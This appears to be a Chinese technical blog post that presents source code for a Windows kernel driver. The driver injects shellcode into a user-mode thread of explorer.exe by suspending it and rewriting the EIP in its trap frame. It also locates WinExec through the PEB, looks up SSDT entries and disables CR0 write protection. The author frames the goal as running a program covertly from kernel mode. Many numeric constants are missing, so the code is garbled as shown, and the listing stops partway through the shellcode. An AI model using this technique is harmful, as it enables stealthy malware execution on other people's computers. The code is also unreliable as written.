近日有在写一个小东西
需要在内核态中运行一个WIN32程序
之前提到的插入APC可以满足部分要求
但是一到WIN7 x86平台下就崩溃了
WIN7下只能插入第三方的进程
一插入系统进程就崩溃,但是这样满足不了我们猥琐的想法
- - 后来找到了一段代码 是注入RING3线程的

基本流程就是  查找系统中某个进程 比如explorer.exe
然后遍历线程链表,判断线程是否是RING3的线程,
而且不是被挂起的。(这个无所谓的)。。。
找到符合要求的线程之后在对方进程中申请一段内存来存放我们自己的ShellCode 代码
然后修改线程的_KTRAP_FRAME中的EIP的值,使线程跑起来的时候先运行我们的自己的
代码,运行完了之后跳回到原来的EIP去指定。。。
需要用到两个未公开的函数:ZwSuspendThread,ZwResumeThread
一个是挂起线程来方便我们修改EIP的 一个是恢复线程使它跑起来

再说说在RING0下搜索RING3 API地址的方法
其实就是从_EPROCESS中得到PEB结构
从PEB中的ldr中的InInitializationOrderMoudleList链表中去查找Kernel32.dll的基地址
通常来说WINXP中了链表的第一项就是Kernel32.dll的基地址
而到了win7 它就存在第二项了 win7下第一项是kernelbase.dll的基地址 (这个好像是一个kernel32.dll的壳)
不多说了看代码吧

  1. /***************************************************************************************
  2.  
  3. *
  4. * 模块: InjectRing3 [sys module]
  5. *
  6. * 平台: Windows XP SP2/sp3/ win7 sp1
  7. *
  8. * 描述:
  9. * Ring0 注入 Ring3 的一种新方法。
  10. * 挂起ring3线程后,修改其TrapFrame里的eip,再恢复其执行。
  11. *
  12. *
  13. ****************************************************************************************/
  14.  
  15. #ifndef _PROCESS_H_
  16. #define _PROCESS_H_
  17.  
  18. #include "ntifs.h"
  19. #include <WINDEF.H>
  20. #include <ntimage.h>
  21.  
  22. #define ProcessBasicInformation 0
  23. #define SystemProcessesAndThreadsInformation 5
  24. #define SystemModuleInformation 11 // SYSTEMINFOCLASS
  25.  
  26. #define WINDOWS_VERSION_NONE 0
  27. #define WINDOWS_VERSION_2K 1
  28. #define WINDOWS_VERSION_XP 2
  29. #define WINDOWS_VERSION_2K3 3
  30. #define WINDOWS_VERSION_2K3_SP1 4
  31. #define WINDOWS_VERSION_VISTA 5
  32. #define WINDOWS_VERSION_WIN7 6
  33.  
  34. //线程链表偏移地址
  35. #define BASE_PROCESS_PEB_OFFSET_2K 0//NT5.0.2195.7133
  36. #define BASE_PROCESS_PEB_OFFSET_XP 0x01B0//NT5.1.2600.3093
  37. #define BASE_PROCESS_PEB_OFFSET_2K3 0//nt5.2.3790.0
  38. #define BASE_PROCESS_PEB_OFFSET_2K3_SP1 0//nt5.2.3790.1830
  39. #define BASE_PROCESS_PEB_OFFSET_VISTA 0
  40. #define BASE_PROCESS_PEB_OFFSET_WIN7 0x01a8 //win7
  41.  
  42. #define BASE_PROCESS_NAME_OFFSET_2K 0x01FC//NT5.0.2195.7133
  43. #define BASE_PROCESS_NAME_OFFSET_XP 0x0174//NT5.1.2600.3093
  44. #define BASE_PROCESS_NAME_OFFSET_2K3 0x0154//nt5.2.3790.0
  45. #define BASE_PROCESS_NAME_OFFSET_2K3_SP1 0x0164//nt5.2.3790.1830
  46. #define BASE_PROCESS_NAME_OFFSET_VISTA 0x014c
  47. #define BASE_PROCESS_NAME_OFFSET_WIN7 0x016c //win7
  48.  
  49. #define BASE_PROCESS_FLINK_OFFSET_2K 0//NT5.0.2195.7133
  50. #define BASE_PROCESS_FLINK_OFFSET_XP 0x0088//NT5.1.2600.3093
  51. #define BASE_PROCESS_FLINK_OFFSET_2K3 0//NT5.2.3790.0
  52. #define BASE_PROCESS_FLINK_OFFSET_2K3_SP1 0//nt5.2.3790.1830
  53. #define BASE_PROCESS_FLINK_OFFSET_VISTA 0
  54. #define BASE_PROCESS_FLINK_OFFSET_WIN7 0x00b8//win7
  55.  
  56. //ThreadListEntry偏移
  57. #define BASE_KTHREAD_LIST_OFFSET_2K 0
  58. #define BASE_KTHREAD_LIST_OFFSET_XP 0x22c
  59. #define BASE_KTHREAD_LIST_OFFSET_2K3 0
  60. #define BASE_KTHREAD_LIST_OFFSET_2K3_SP1 0
  61. #define BASE_KTHREAD_LIST_OFFSET_WIN7 0x268
  62.  
  63. #define BASE_KTHREAD_SuspendCount_OFFSET_2K 0
  64. #define BASE_KTHREAD_SuspendCount_OFFSET_XP 0x1b9
  65. #define BASE_KTHREAD_SuspendCount_OFFSET_2K3 0
  66. #define BASE_KTHREAD_SuspendCount_OFFSET_2K3_SP1 0
  67. #define BASE_KTHREAD_SuspendCount_OFFSET_WIN7 0x188//win7
  68.  
  69. #define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K 0
  70. #define BASE_KTHREAD_CrossThreadFlags_OFFSET_XP 0x248
  71. #define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3 0
  72. #define BASE_KTHREAD_CrossThreadFlags_OFFSET_2K3_SP1 0
  73. #define BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7 0x280
  74.  
  75. //KTHREAD中的Cid偏移
  76. #define BASE_KTHREAD_Cid_OFFSET_XP 0x1ec
  77. #define BASE_KTHREAD_Cid_OFFSET_WIN7 0x22c
  78.  
  79. //KTHREAD中的TrapFrame_偏移
  80. #define BASE_KTHREAD_TrapFrame_OFFSET_XP 0x134
  81. #define BASE_KTHREAD_TrapFrame_OFFSET_WIN7 0x128
  82.  
  83. //_EPROCESS中的ThreadListHead偏移
  84. #define BASE_PROCESS_ThreadListHead_OFFSET_XP 0x190
  85. #define BASE_PROCESS_ThreadListHead_OFFSET_WIN7 0x188
  86.  
  87. //_EPROCESS中的Pid偏移
  88. #define BASE_PROCESS_Pid_OFFSET_XP 0x84
  89. #define BASE_PROCESS_Pid_OFFSET_WIN7 0xb4
  90.  
  91. //_EPROCESS偏移汇总
  92. typedef struct _EPROCESS_OFFSET
  93. {
  94. WORD wOffsetPeb;
  95. WORD wOffsetName;
  96. WORD wOffsetFlink;
  97. WORD wOffsetResv;
  98. WORD wOffsetThreadListHead;
  99. WORD wOffsetPid;
  100. }EPROCESS_OFFSET, *PEPROCESS_OFFSET, *LPEPROCESS_OFFSET;
  101.  
  102. //_KTHREAD偏移汇总
  103. typedef struct _KTHREAD_OFFSET
  104. {
  105. WORD wOffsetThreadListEntry;
  106. WORD wOffsetSuspendCount;
  107. WORD wOffsetCrossThreadFlags;
  108. WORD wOffsetCid;
  109. WORD wOffsetTrapFrame;
  110. }KTHREAD_OFFSET, *PKTHREAD_OFFSET, *LPKTHREAD_OFFSET;
  111.  
  112. //和关机操作又关的一些东西
  113. //这里是Hook NtUserCallOneParam和Hook NtUserCallNoParam的东西
  114. typedef struct _SHUTDOWN_PARAM
  115. {
  116. WORD WinVer; //Windows版本
  117. LONG uRoutine;//关机的参数
  118. PEPROCESS Explorer_PE;//explorer.exe的_EPROCESS
  119. }SHUTDOWN_PARAM ,*PSHUTDOWN_PARAM ;
  120. SHUTDOWN_PARAM shutdown_param;
  121.  
  122. typedef struct ServiceDescriptorEntry {
  123. unsigned int *ServiceTableBase;
  124. unsigned int *ServiceCounterTableBase; //Used only in checked build
  125. unsigned int NumberOfServices;
  126. unsigned char *ParamTableBase;
  127. } ServiceDescriptorTableEntry, *PServiceDescriptorTableEntry;
  128. extern PServiceDescriptorTableEntry KeServiceDescriptorTable;;//SSDT
  129. PServiceDescriptorTableEntry ShadowKeServiceDescriptorTable;//ShadowSSDT
  130.  
  131. //global
  132. EPROCESS_OFFSET g_EProcessOffset;
  133. KTHREAD_OFFSET g_KThreadOffset;
  134. ULONG g_WinExec;
  135.  
  136. #define SEC_IMAGE 0x1000000
  137.  
  138. typedef struct _SECTION_IMAGE_INFORMATION
  139. {
  140. PULONG TransferAddress;
  141. ULONG ZeroBits;
  142. ULONG MaximumStackSize;
  143. ULONG CommittedStackSize;
  144. ULONG SubSysmtemType;
  145. USHORT SubSystemMinorVersion;
  146. USHORT SubSystemMajorVersion;
  147. ULONG GpValue;
  148. USHORT Imagecharacteristics;
  149. USHORT DllCharacteristics;
  150. USHORT Machine;
  151. UCHAR ImageContainsCode;
  152. UCHAR Spare1;
  153. ULONG LoaderFlags;
  154. ULONG ImageFileSize;
  155. ULONG Reserved;
  156. }SECTION_IMAGE_INFORMATION, *PSECTION_IMAGE_INFORMATION;
  157.  
  158. typedef struct _X86_KTRAP_FRAME {
  159. ULONG DbgEbp;
  160. ULONG DbgEip;
  161. ULONG DbgArgMark;
  162. ULONG DbgArgPointer;
  163. ULONG TempSegCs;
  164. ULONG TempEsp;
  165. ULONG Dr0;
  166. ULONG Dr1;
  167. ULONG Dr2;
  168. ULONG Dr3;
  169. ULONG Dr6;
  170. ULONG Dr7;
  171. ULONG SegGs;
  172. ULONG SegEs;
  173. ULONG SegDs;
  174. ULONG Edx;
  175. ULONG Ecx;
  176. ULONG Eax;
  177. ULONG PreviousPreviousMode;
  178. ULONG ExceptionList;
  179. ULONG SegFs;
  180. ULONG Edi;
  181. ULONG Esi;
  182. ULONG Ebx;
  183. ULONG Ebp;
  184. ULONG ErrCode;
  185. ULONG Eip;
  186. ULONG SegCs;
  187. ULONG EFlags;
  188. ULONG HardwareEsp;
  189. ULONG HardwareSegSs;
  190. ULONG V86Es;
  191. ULONG V86Ds;
  192. ULONG V86Fs;
  193. ULONG V86Gs;
  194. } X86_KTRAP_FRAME, *PX86_KTRAP_FRAME;
  195.  
  196. typedef struct _MODULE_ENTRY {
  197. LIST_ENTRY le_mod;
  198. ULONG unknown[];
  199. ULONG base;
  200. ULONG driver_start;
  201. ULONG unk1;
  202. UNICODE_STRING driver_Path;
  203. UNICODE_STRING driver_Name;
  204. //.......
  205. } MODULE_ENTRY, *PMODULE_ENTRY;
  206.  
  207. typedef
  208. NTSTATUS
  209. (__stdcall *
  210. pfnZwSuspendThread)(
  211. IN HANDLE ThreadHandle,
  212. OUT PULONG PreviousSuspendCount OPTIONAL
  213. );
  214.  
  215. pfnZwSuspendThread KeSuspendThread = NULL;
  216. pfnZwSuspendThread KeResumeThread = NULL;
  217.  
  218. VOID WPOFF()
  219. {
  220. __asm
  221. {
  222. cli
  223. mov eax, cr0
  224. and eax, ~10000h
  225. mov cr0, eax
  226. }
  227. }
  228.  
  229. VOID WPON()
  230. {
  231. __asm
  232. {
  233. mov eax, cr0
  234. or eax, 10000h
  235. mov cr0, eax
  236. sti
  237. }
  238. }
  239.  
  240. /************************************************************************/
  241. /* win7下搜索kernel32.dll中的 WinExec地址
  242. */
  243. /************************************************************************/
  244. ULONG
  245. SearchApiWin7(WORD api_hash)
  246. /*
  247. * 在kern32.dll中搜索指定API地址
  248. * Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
  249. */
  250. {
  251. //搜索k32dll的API地址
  252. PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
  253. PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
  254. PLIST_ENTRY pTempList = pCurrentList;
  255. PEPROCESS pEProcess = NULL;
  256.  
  257. do {
  258. PPEB peb = NULL;
  259. PUCHAR lpname = NULL;
  260.  
  261. pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
  262. peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
  263. lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;
  264.  
  265. KdPrint(("process %s\n", lpname));
  266.  
  267. if ((peb != NULL)
  268. && (_strnicmp(lpname, "explorer.exe", ) == )) //不区分大小写
  269. {
  270. ULONG api_addr = ;
  271.  
  272. shutdown_param.Explorer_PE = pEProcess; //记录explorer进程指针
  273. KeAttachProcess((PKPROCESS)pEProcess);//附加进程
  274.  
  275. _asm
  276. {
  277. mov eax, peb;
  278. mov eax, [eax+0x0c];//ldr
  279. mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
  280. mov esi,[esi]//win7要加这一句
  281. lodsd; //eax = [esi];
  282. mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY
  283.  
  284. //now get pe image infos to find LoadLibrary and GetProcAddress API
  285. //assert ebx is the pe image base!!!
  286.  
  287. mov ax, api_hash; //Hash(LoadLibraryA) = 0xae14
  288. //Hash(WinExec) = 0x72dc
  289. //call search_api;
  290. //mov [ebp-4], eax; //this is LoadLibraryA API
  291.  
  292. //------------------------------------------------------------------------------
  293. //ebx-PE Image Base,eax-hash of api name, return eax!!!
  294. //------------------------------------------------------------------------------
  295. //search_api:
  296. mov edx, eax;
  297. mov eax, [ebx+0x3c]; //File address of the new exe header
  298. mov eax, [eax+ebx+0x78]; //pe base ->data directory[16]
  299. add eax, ebx; //get directory[0] Address ->export table ->eax
  300. mov esi, [eax+0x20]; //get export funs names rva
  301. add esi, ebx; //esi->export names table address
  302. //mov ecx, [eax+0x18]; //get export funs numbers
  303.  
  304. xor ecx, ecx;
  305. //search funs name tables
  306. next_api:
  307.  
  308. mov edi, [esi+ecx*]; //
  309. add edi, ebx;
  310.  
  311. //-----------------------------------
  312. //计算[edi]字符串的hash值
  313. //-----------------------------------
  314. pushad;
  315. xor eax, eax;
  316. cacul_next:
  317. shl eax, ;
  318. movzx ecx, byte ptr[edi];
  319. add ax, cx;
  320. inc edi;
  321. inc ecx;
  322. loop cacul_next;
  323. //test edx!!!
  324. cmp ax, dx;
  325. jz search_end;
  326.  
  327. popad;
  328. inc ecx;
  329. jmp next_api;
  330.  
  331. search_end:
  332. popad;
  333. //ecx is the GetProcAdress index
  334. mov eax, [eax+0x1c];
  335. add eax, ebx;
  336. mov eax, [eax+*ecx];
  337. add eax, ebx;
  338. mov api_addr, eax;
  339. //ret;
  340. }
  341. KdPrint(("%08x\n", api_addr));
  342.  
  343. KeDetachProcess();
  344. return api_addr;
  345. }
  346. pTempList = pTempList->Flink;
  347. } while(pCurrentList != pTempList);
  348. return ;
  349. }
  350.  
  351. /************************************************************************/
  352. /* winxp下搜索kernel32.dll中的 WinExec地址
  353. */
  354. /************************************************************************/
  355. ULONG
  356. SearchApiXp(WORD api_hash)
  357. /*
  358. * 在kern32.dll中搜索指定API地址
  359. * Hash(WinExec) = 0x72dc Hash(LoadLibraryA) = 0xae14
  360. */
  361. {
  362. //搜索k32dll的API地址
  363. PEPROCESS pSystemProcess = PsGetCurrentProcess(); //make sure you are running at IRQL PASSIVE_LEVEL
  364. PLIST_ENTRY pCurrentList = (PLIST_ENTRY)((PUCHAR)pSystemProcess + g_EProcessOffset.wOffsetFlink);
  365. PLIST_ENTRY pTempList = pCurrentList;
  366. PEPROCESS pEProcess = NULL;
  367.  
  368. do
  369. {
  370. PPEB peb = NULL;
  371. PUCHAR lpname = NULL;
  372.  
  373. pEProcess = (PEPROCESS)((PUCHAR)pTempList - g_EProcessOffset.wOffsetFlink);
  374. peb = (PPEB)(*(PULONG)((PUCHAR)pEProcess + g_EProcessOffset.wOffsetPeb));
  375. lpname = (PUCHAR)pEProcess + g_EProcessOffset.wOffsetName;
  376.  
  377. KdPrint(("process %s\n", lpname));
  378.  
  379. if ((peb != NULL)
  380. && (_strnicmp(lpname, "explorer.exe", ) == )) //不区分大小写
  381. {
  382. ULONG api_addr = ;
  383.  
  384. //g_EProcessWinlogon = pEProcess; //记录winlogon进程指针
  385. shutdown_param.Explorer_PE = pEProcess;
  386. KeAttachProcess((PKPROCESS)pEProcess);
  387.  
  388. _asm
  389. {
  390. mov eax, peb;
  391. mov eax, [eax+0x0c];//ldr
  392. mov esi, [eax+0x1c];//esi->ldr.InInitializationOrderMoudleList _LIST_ENTRY struct
  393. lodsd; //eax = [esi];
  394. mov ebx, [eax+0x08];//k32dll is the first! and baseaddress is follow _LIST_ENTRY
  395.  
  396. //now get pe image infos to find LoadLibrary and GetProcAddress API
  397. //assert ebx is the pe image base!!!
  398.  
  399. mov ax, api_hash; //Hash(LoadLibraryA) = 0xae14
  400. //Hash(WinExec) = 0x72dc
  401. //call search_api;
  402. //mov [ebp-4], eax; //this is LoadLibraryA API
  403.  
  404. //------------------------------------------------------------------------------
  405. //ebx-PE Image Base,eax-hash of api name, return eax!!!
  406. //------------------------------------------------------------------------------
  407. //search_api:
  408. mov edx, eax;
  409. mov eax, [ebx+0x3c]; //File address of the new exe header
  410. mov eax, [eax+ebx+0x78]; //pe base ->data directory[16]
  411. add eax, ebx; //get directory[0] Address ->export table ->eax
  412. mov esi, [eax+0x20]; //get export funs names rva
  413. add esi, ebx; //esi->export names table address
  414. //mov ecx, [eax+0x18]; //get export funs numbers
  415.  
  416. xor ecx, ecx;
  417. //search funs name tables
  418. next_api:
  419.  
  420. mov edi, [esi+ecx*]; //
  421. add edi, ebx;
  422.  
  423. //-----------------------------------
  424. //计算[edi]字符串的hash值
  425. //-----------------------------------
  426. pushad;
  427. xor eax, eax;
  428. cacul_next:
  429. shl eax, ;
  430. movzx ecx, byte ptr[edi];
  431. add ax, cx;
  432. inc edi;
  433. inc ecx;
  434. loop cacul_next;
  435. //test edx!!!
  436. cmp ax, dx;
  437. jz search_end;
  438.  
  439. popad;
  440. inc ecx;
  441. jmp next_api;
  442.  
  443. search_end:
  444. popad;
  445. //ecx is the GetProcAdress index
  446. mov eax, [eax+0x1c];
  447. add eax, ebx;
  448. mov eax, [eax+*ecx];
  449. add eax, ebx;
  450. mov api_addr, eax;
  451. //ret;
  452. }
  453. KdPrint(("%08x\n", api_addr));
  454.  
  455. KeDetachProcess();
  456. return api_addr;
  457. }
  458. pTempList = pTempList->Flink;
  459. } while(pCurrentList != pTempList);
  460. return ;
  461. }
  462.  
  463. /************************************************************************/
  464. /* 获取WINDOWS版本
  465. 通过ImageName偏移来判断
  466. */
  467. /************************************************************************/
  468.  
  469. WORD GetWindowsVersion()
  470. {
  471. PEPROCESS pSystemProcess = PsGetCurrentProcess();
  472. WORD offset;
  473. for (offset=; offset < PAGE_SIZE; offset++)
  474. {
  475. if(strncmp("System", (PCHAR)pSystemProcess + offset, ) == )
  476. {
  477. g_EProcessOffset.wOffsetName = offset;
  478. KdPrint(("%08x", offset));
  479. switch (offset)
  480. {
  481. case BASE_PROCESS_NAME_OFFSET_2K:
  482. KdPrint(("WINDOWS_VERSION_2K\n"));
  483. return WINDOWS_VERSION_2K;
  484. break;
  485. case BASE_PROCESS_NAME_OFFSET_XP:
  486. KdPrint(("WINDOWS_VERSION_XP\n"));
  487. return WINDOWS_VERSION_XP;
  488. break;
  489. case BASE_PROCESS_NAME_OFFSET_2K3:
  490. KdPrint(("WINDOWS_VERSION_2K3\n"));
  491. return WINDOWS_VERSION_2K3;
  492. break;
  493. case BASE_PROCESS_NAME_OFFSET_2K3_SP1:
  494. KdPrint(("WINDOWS_VERSION_2K3_SP1\n"));
  495. return WINDOWS_VERSION_2K3_SP1;
  496. break;
  497. case BASE_PROCESS_NAME_OFFSET_VISTA:
  498. KdPrint(("WINDOWS_VERSION_VISTA\n"));
  499. return WINDOWS_VERSION_VISTA;
  500. break;
  501. case BASE_PROCESS_NAME_OFFSET_WIN7:
  502. KdPrint(("WINDOWS_VERSION_WIN7\n"));
  503. return WINDOWS_VERSION_WIN7;
  504. break;
  505. default:
  506. return WINDOWS_VERSION_NONE;
  507. }
  508. }
  509. }
  510. return WINDOWS_VERSION_NONE;
  511. }
  512.  
  513. /************************************************************************/
  514. /* 根据WINDOWS平台
  515. 初始化一些偏移,根据偏移得到Win32 API的地址(WinExec)
  516. 这里只对WINXP 和 WIN7进行了处理
  517. */
  518. /************************************************************************/
  519. BOOLEAN InitEProcessInfo()
  520. {
  521. switch (GetWindowsVersion())
  522. {
  523. case WINDOWS_VERSION_2K:
  524. g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K;
  525. g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K;
  526.  
  527. g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K;
  528. // g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K;
  529. // g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K;
  530. break;
  531. case WINDOWS_VERSION_XP:
  532. g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_XP;
  533. g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_XP;
  534. g_EProcessOffset.wOffsetThreadListHead = BASE_PROCESS_ThreadListHead_OFFSET_XP;
  535. g_EProcessOffset.wOffsetName = BASE_PROCESS_NAME_OFFSET_XP;
  536. g_EProcessOffset.wOffsetPid = BASE_PROCESS_Pid_OFFSET_XP;
  537.  
  538. g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_XP;
  539. g_KThreadOffset.wOffsetSuspendCount = BASE_KTHREAD_SuspendCount_OFFSET_XP;
  540. g_KThreadOffset.wOffsetCrossThreadFlags = BASE_KTHREAD_CrossThreadFlags_OFFSET_XP;
  541. g_KThreadOffset.wOffsetCid = BASE_KTHREAD_Cid_OFFSET_XP;
  542. g_KThreadOffset.wOffsetTrapFrame = BASE_KTHREAD_TrapFrame_OFFSET_XP;
  543.  
  544. shutdown_param.uRoutine = 0x34;
  545. shutdown_param.WinVer = WINDOWS_VERSION_XP;
  546. //搜索API
  547. __try
  548. {
  549. g_WinExec = SearchApiXp(0x72dc);
  550. }
  551. __except(EXCEPTION_EXECUTE_HANDLER)
  552. {
  553. return FALSE;
  554. }
  555. break;
  556. case WINDOWS_VERSION_2K3:
  557. g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K3;
  558. g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K3;
  559.  
  560. g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K3;
  561. // g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K3;
  562. // g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K3;
  563. break;
  564. case WINDOWS_VERSION_2K3_SP1:
  565. g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_2K3_SP1;
  566. g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_2K3_SP1;
  567.  
  568. g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_2K3_SP1;
  569. // g_KThreadOffset.wOffsetAlertable = BASE_KTHREAD_ALERTABLE_OFFSET_2K3_SP1;
  570. // g_KThreadOffset.wOffsetApcState = BASE_KTHREAD_APCSTATE_OFFSET_2K3_SP1;
  571. break;
  572. case WINDOWS_VERSION_WIN7:
  573. g_EProcessOffset.wOffsetPeb = BASE_PROCESS_PEB_OFFSET_WIN7;
  574. g_EProcessOffset.wOffsetFlink = BASE_PROCESS_FLINK_OFFSET_WIN7;
  575. g_EProcessOffset.wOffsetThreadListHead = BASE_PROCESS_ThreadListHead_OFFSET_WIN7;
  576. g_EProcessOffset.wOffsetName = BASE_PROCESS_NAME_OFFSET_WIN7;
  577. g_EProcessOffset.wOffsetPid = BASE_PROCESS_Pid_OFFSET_WIN7;
  578.  
  579. g_KThreadOffset.wOffsetThreadListEntry = BASE_KTHREAD_LIST_OFFSET_WIN7;
  580. g_KThreadOffset.wOffsetSuspendCount = BASE_KTHREAD_SuspendCount_OFFSET_WIN7;
  581. g_KThreadOffset.wOffsetCrossThreadFlags = BASE_KTHREAD_CrossThreadFlags_OFFSET_WIN7;
  582. g_KThreadOffset.wOffsetCid = BASE_KTHREAD_Cid_OFFSET_WIN7;
  583. g_KThreadOffset.wOffsetTrapFrame = BASE_KTHREAD_TrapFrame_OFFSET_WIN7;
  584.  
  585. shutdown_param.uRoutine = 0x10;
  586. shutdown_param.WinVer = WINDOWS_VERSION_WIN7;
  587. //搜索API
  588. __try
  589. {
  590. g_WinExec = SearchApiWin7(0x72dc);
  591. }
  592. __except(EXCEPTION_EXECUTE_HANDLER)
  593. {
  594. return FALSE;
  595. }
  596. break;
  597. default:
  598. KdPrint(("OS not support!\n"));
  599. return TRUE;
  600. }
  601. return TRUE;
  602. }
  603.  
  604. /************************************************************************/
  605. /* 获取SSDT服务函数索引号
  606. */
  607. /************************************************************************/
  608. DWORD GetDllFunctionAddress(char* lpFunctionName, PUNICODE_STRING pDllName)
  609. {
  610. HANDLE hThread, hSection, hFile, hMod;
  611. SECTION_IMAGE_INFORMATION sii;
  612. IMAGE_DOS_HEADER* dosheader;
  613. IMAGE_OPTIONAL_HEADER* opthdr;
  614. IMAGE_EXPORT_DIRECTORY* pExportTable;
  615. DWORD* arrayOfFunctionAddresses;
  616. DWORD* arrayOfFunctionNames;
  617. WORD* arrayOfFunctionOrdinals;
  618. DWORD functionOrdinal;
  619. DWORD Base, x, functionAddress;
  620. char* functionName;
  621. STRING ntFunctionName, ntFunctionNameSearch;
  622. PVOID BaseAddress = NULL;
  623. SIZE_T size=;
  624.  
  625. OBJECT_ATTRIBUTES oa = {sizeof oa, , pDllName, OBJ_CASE_INSENSITIVE};
  626.  
  627. IO_STATUS_BLOCK iosb;
  628.  
  629. //_asm int 3;
  630. ZwOpenFile(&hFile, FILE_EXECUTE | SYNCHRONIZE, &oa, &iosb, FILE_SHARE_READ, FILE_SYNCHRONOUS_IO_NONALERT);
  631.  
  632. oa.ObjectName = ;
  633.  
  634. ZwCreateSection(&hSection, SECTION_ALL_ACCESS, &oa, ,PAGE_EXECUTE, SEC_IMAGE, hFile);
  635.  
  636. ZwMapViewOfSection(hSection, NtCurrentProcess(), &BaseAddress, , , , &size, (SECTION_INHERIT), MEM_TOP_DOWN, PAGE_READWRITE);
  637.  
  638. ZwClose(hFile);
  639.  
  640. //BaseAddress = GetModlueBaseAdress("ntoskrnl.exe");
  641.  
  642. hMod = BaseAddress;
  643.  
  644. dosheader = (IMAGE_DOS_HEADER *)hMod;
  645.  
  646. opthdr =(IMAGE_OPTIONAL_HEADER *) ((BYTE*)hMod+dosheader->e_lfanew+);
  647.  
  648. pExportTable =(IMAGE_EXPORT_DIRECTORY*)((BYTE*) hMod + opthdr->DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT]. VirtualAddress);
  649.  
  650. // now we can get the exported functions, but note we convert from RVA to address
  651. arrayOfFunctionAddresses = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfFunctions);
  652.  
  653. arrayOfFunctionNames = (DWORD*)( (BYTE*)hMod + pExportTable->AddressOfNames);
  654.  
  655. arrayOfFunctionOrdinals = (WORD*)( (BYTE*)hMod + pExportTable->AddressOfNameOrdinals);
  656.  
  657. Base = pExportTable->Base;
  658.  
  659. RtlInitString(&ntFunctionNameSearch, lpFunctionName);
  660.  
  661. for(x = ; x < pExportTable->NumberOfFunctions; x++)
  662. {
  663. functionName = (char*)( (BYTE*)hMod + arrayOfFunctionNames[x]);
  664.  
  665. RtlInitString(&ntFunctionName, functionName);
  666.  
  667. functionOrdinal = arrayOfFunctionOrdinals[x] + Base - ; // always need to add base, -1 as array counts from 0
  668. // this is the funny bit. you would expect the function pointer to simply be arrayOfFunctionAddresses[x]...
  669. // oh no... thats too simple. it is actually arrayOfFunctionAddresses[functionOrdinal]!!
  670. functionAddress = (DWORD)( (BYTE*)hMod + arrayOfFunctionAddresses[functionOrdinal]);
  671. if (RtlCompareString(&ntFunctionName, &ntFunctionNameSearch, TRUE) == )
  672. {
  673. //ZwClose(hSection);
  674. return functionAddress;
  675. }
  676. }
  677.  
  678. //ZwClose(hSection);
  679. return ;
  680. }
  681.  
  682. /************************************************************************/
  683. /* 获取SSDT函数的地址
  684. */
  685. /************************************************************************/
  686.  
  687. PVOID GetSSDTApi(PCHAR ApiName)
  688. {
  689. UNICODE_STRING dllName;
  690. DWORD functionAddress;
  691. int position;
  692.  
  693. RtlInitUnicodeString(&dllName, L"\\??\\C:\\Windows\\System32\\ntdll.dll");
  694. __try
  695. {
  696. functionAddress = GetDllFunctionAddress(ApiName, &dllName);
  697. }
  698. __except(EXCEPTION_EXECUTE_HANDLER)
  699. {
  700.  
  701. }
  702.  
  703. position = *((WORD*)(functionAddress+));
  704.  
  705. return (PVOID)*( (PULONG)(KeServiceDescriptorTable->ServiceTableBase) + position );
  706. }
  707.  
  708. ////////////////////////////////////////////////
  709. //
  710. // 被注入到ring3进程的代码
  711. //
  712. ////////////////////////////////////////////////
  713.  
  714. // 2F1D159C > 50 push eax
  715. // 2F1D159D B8 FDE51E76 mov eax,0x761EE5FD WinExec
  716. // 2F1D15A2 6A 01 push 0x1
  717. // 2F1D15A4 68 FFFFFF7F push 0x7FFFFFFF //C:\\1.exe
  718. // 2F1D15A9 FFD0 call eax // call WinExec
  719. // 2F1D15AB 58 pop eax
  720.  
  721. /************************************************************************/
  722. /* ShellCode
  723. call WinExec
  724. */
  725. /************************************************************************/
  726. _declspec (naked) void ShellCode() {
  727. _asm {
  728. push eax
  729. // WinExec
  730. mov eax,0x761ee5fd //B8 4D 11 86 7C
  731. push //6A 01
  732. push 0x7fffffff //68 FF FF FF 7F
  733. call eax //FF D0
  734. pop eax
  735. // jmp ds:12345678H, 绝对地址跳转
  736. _emit 0xEA
  737. _emit 0x78
  738. _emit 0x56
  739. _emit 0x34
  740. _emit 0x12
  741. _emit 0x1B //段选择子
  742. _emit 0x00
  743.  
  744. //运行的路径 40个字节
  745. _emit 0x00
  746. _emit 0x00
  747. _emit 0x00
  748. _emit 0x00
  749. _emit 0x00
  750. _emit 0x00
  751. _emit 0x00
  752. _emit 0x00
  753. _emit 0x00
  754. _emit 0x00
  755. _emit 0x00
  756. _emit 0x00
  757. _emit 0x00
  758. _emit 0x00
  759. _emit 0x00
